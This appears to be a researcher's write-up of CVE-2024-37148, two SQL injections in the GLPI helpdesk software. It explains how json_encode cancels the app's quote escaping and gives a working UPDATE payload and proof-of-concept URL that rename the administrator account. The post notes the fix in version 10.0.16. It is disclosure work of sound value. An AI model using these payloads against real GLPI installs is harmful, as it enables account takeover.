Exploiting CVE-2024-37148

Intro

When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do the job, who is to blame ? As CVE-2024-29889 was patched, I took a look at the commit. I saw that the inputs were escaped thanks to Sanitizer::sanitize before calling exportArrayToDb, being a wrapper for json_encode:

Patch for CVE-2024-29889

I then guessed that if there were other calls to exportArrayToDb without a sanitisation process, it could still lead to an injection.

First injection

Looking for the pattern => exportArrayToDB in the source code, returned a hit in SavedSearch::saveOrder.

1
2
3
4
5
6
7
8
9
10
11
12
public function saveOrder(array $items){
if (count($items)) {
$user = new User();
$personalorderfield = $this->getPersonalOrderField();

$user->update(['id' => Session::getLoginUserID(),
$personalorderfield => exportArrayToDB($items)
]);
return true;
}
return false;
}

This routine can be called from an AJAX request (ajax/savedsearch.php):

1
2
3
4
5
if ($action == 'reorder') {
$savedsearch->saveOrder($_POST['ids']);
header("Content-Type: application/json; charset=UTF-8");
echo json_encode(['res' => true]);
}

One can notice that $_POST['ids'] is supposed to be an array (supposedly containing integers, but without validity check). If $items (the argument passed to saveOrder) is indeed an array, it is passed to exportArrayToDB.

CVE-2024-37148 - Injection 1

The resulting SQL query is as follows:

1
2
3
4
5
UPDATE `glpi_users` SET `privatebookmarkorder` = '["\\',`name`=char(0x70,0x77,0x6e) where `id`=2 -- -"]' WHERE `id` = '3'

-- or

UPDATE `glpi_users` SET `privatebookmarkorder` = '["\\',`name`=char(0x70,0x77,0x6e) where `id`=2

It updates that username of the administrator, turning it into ‘pwn’. Therefore, it could lead to an account takeover, by modifying the user’s password hash, or their password reset token.

But why does this happen ? Because when the application receives an input, it first tries to escape everything it can in $_GET or $_POST (in inc/includes.php), which means that a first backslash will be put before single quotes in any input. However, when passing the value through json_encode, the latter will escape the backslash, but not the single quote:

1
2
php > echo json_encode(["\'"]);
["\\'"]

Therefore, the single quote will be unescaped, hence possibly leading to an injection. In other words, calls to exportArrayToDb (and therefore json_encode) would cancel the effects of the first escaping process.

Second injection

Another similar injection point was found in CommonGLPI::updateDisplayOptions. This routine can be called from front/display.options.php.

CVE-2024-37148 - Injection 2 - front

At this moment, I knew that I would need to have a valid $_GET['itemtype'], probably $_GET['sub_itemtype'], and also either $_GET['update'] or $_GET['reset'], to reach this call to CommonGLPI::updateDisplayOptions.

CVE-2024-37148 - Injection 2 - back

At line 1’285, a first call is made to getAvailableDisplayOptions. This routine is declared only in the class NetworkPort, which means that the calling object must be an instance of this class, thus giving us the expected value for $_GET['itemtype'].

At line 1’290, the magic happens: the array $display_options is created from $_SESSION['glpi_display_options'], but the assignment is made with the ampersand operator. It means that $display_options becomes a reference to the item having the key $sub_itemtype, creating it if non-existent. In other words, it means that we are able here to create an item having an arbitary name as a key.

1
2
3
4
5
6
7
8
9
10
11
php > $options = ['a' => 'A', 'b' => 'B'];
php > $x= &$options['c'];
php > var_dump($options);
array(3) {
["a"]=>
string(1) "A"
["b"]=>
string(1) "B"
["c"]=>
&NULL
}

Finally, once the foreach loops have been executed, the routine exportArrayToDB is called, passing the variable $_SESSION['glpi_display_options'] as argument. The injected key would therefore be passed to exportArrayToDB without sanitisation, leading to another SQL injection. As a PoC, I used the following query:

1
http://172.16.103.130/front/display.options.php?itemtype=NetworkPort&update=&sub_itemtype=%27,name=char(0x70,0x77,0x6e)%20where%20`id`=2%20--%20-

Arguments are therefore:

  • itemtype: NetworkPort
  • update: empty
  • sub_item: ',name=char(0x70,0x77,0x6e) where `id`=2 -- -

Visiting this link would then modify the username of the glpi user ! Although the GUI returns a warning message telling us that the action is not allowed, the update is performed.

CVE-2024-37148 - Error

These issues have been patched in GLPI version 10.0.16.